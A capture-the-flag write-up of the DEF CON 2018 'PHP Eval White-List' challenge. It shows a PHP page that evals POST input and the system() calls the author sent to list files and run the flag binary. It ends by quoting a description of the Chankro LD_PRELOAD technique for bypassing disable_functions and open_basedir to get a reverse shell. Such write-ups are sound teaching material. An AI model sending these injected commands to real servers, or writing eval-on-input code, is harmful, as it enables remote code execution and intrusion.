DEF CON CTF Qualifier 2018 - PHP Eval White-List - Write-up

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : DEF CON CTF Qualifier 2018
  • Website : oooverflow.io
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

PHP Eval White-List - Web#

PHP was dangerous, so we've fixed it!

http://c67f8ffd.quals2018.oooverflow.io

Files:

websec_eval_wl.so

Quick way#

Read the PHP source code (http://c67f8ffd.quals2018.oooverflow.io/source.txt):

[...]
<?php
            if (isset($_POST['d'])) {
              eval($_POST['d']);
            } else {
              echo 'Can you execute the <code>./flag</code> binary?';
            }?>
[...]

So the user input is directly evaluated.

Want to exec something on the system? Let's use system().

Let's try system('id');:

/var/www/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The description says:

prevent you from accessing the flag binary up the current folder.

So the flag must be in ../

system("../flag");

OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}

Longer way#

The challenge is tagged as web and reverse and they provide us the custom php extension.

As I'm not a reverser I just used strings:

[...]
%s has an invalid type, please give it a string.
/home/vagrant/src/websec_eval_wl.c
The command doesn't have the expected size...
Err, please don't use null bytes...
The parameter '%s' isn't `/bin/id`, sorry :/
Haven't found '%s', read to hook.
Could not save function pointer for %s
The function '%s' isn't in the eval whitelist, dropping its call.
/bin/id
system
Found '%s', read to hook.
'%s' is hooked!
Init done!
function_pointer_saving
enabled
websec_eval_wl support
strcmp
/home/vagrant/src/utils.c
shell_exec
proc_open
passthru
popen
pcntl_exec
websec_eval_wl
API20151012,NTS
printf
strlen
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609
[...]

This looks like shell_exec, proc_open, passthru, popen, pcntl_exec is a whitelist and the title of the web page is Custom eval whitelisting.

But we can use system(). So I don't know if there was real whitelisting or if it was a troll.

system('ls -lA');

          total 168
-rw-r--r-- 1 root root 108376 May  5 04:58 bootstrap.min.css
-rw-r--r-- 1 root root   1672 May 12 18:09 index.php
-rw-r--r-- 1 root root    155 May  5 04:58 source.php
-rw-r--r-- 1 root root   1672 May 12 18:09 source.txt
d-wx-wx-wx 2 root root  12288 May 13 14:37 tmp
-rw-r--r-- 1 root root  33784 May  5 04:58 websec_eval_wl.so

print_r(scandir('.'));

          Array
(
    [0] => .
    [1] => ..
    [2] => bootstrap.min.css
    [3] => index.php
    [4] => source.php
    [5] => source.txt
    [6] => tmp
    [7] => websec_eval_wl.so
)

system('ls -lA ..'); => displays nothing

print_r(scandir('..'));


Warning: scandir(): open_basedir restriction in effect. File(..) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(44) : eval()'d code on line 1

Warning: scandir(..): failed to open dir: Operation not permitted in /var/www/html/index.php(44) : eval()'d code on line 1

Warning: scandir(): (errno 1): Operation not permitted in /var/www/html/index.php(44) : eval()'d code on line 1

At least there is really the open_basedir enforcement.

As the description suggests I read the open_basedir page of the PHP manual.

There is a note suggesting that PHP 5.3.0 is vulnerable:

As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set(). When listing several directories, you can use the PATH_SEPARATOR constant as a separator regardless of the operating system.

So let's check the PHP version:

phpinfo(); => PHP Version 7.0.28-0ubuntu0.16.04.1, so that's not the path to follow.

The start page was displaying Can you execute the ./flag binary? and we are in /var/www/html/ (system('pwd');) so I first thought that the flag was in /var/www/html/flag but this is impossible as we saw it didn't exist by doing some file listing.

As I said in the quick way write-up, there is also this in the description:

prevent you from accessing the flag binary up the current folder.

So the flag may be in /var/www/flag.

system("ls -l ../flag");

---x--x--x 1 root root 8600 May 11 16:29 ../flag

The description said Can you execute it and effectively it is only executable so it's useless to try to read it by any way.

system("../flag");

OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}

Note: passthru("../flag"); and a lot of other commands are working because there is no filtering (at least I didn't see any).

Bonus#

I was starting to read How to bypass disable_functions and open_basedir by Tarlogic.

From their github:

Chankro

Your favourite tool to bypass disable_functions and open_basedir in your > pentests.

How it works#

PHP in Linux calls a binary (sendmail) when the mail() function is executed. If we > have putenv() allowed, we can set the enviroment variable "LD_PRELOAD", so we can > preload an arbitrary shared object. Our shared object will execute our custom payload > (a binary or a bash script) without the PHP restrictions, so we can have a reverse > shell, for example.

It's a good read even if it was not useful for this challenge.

Share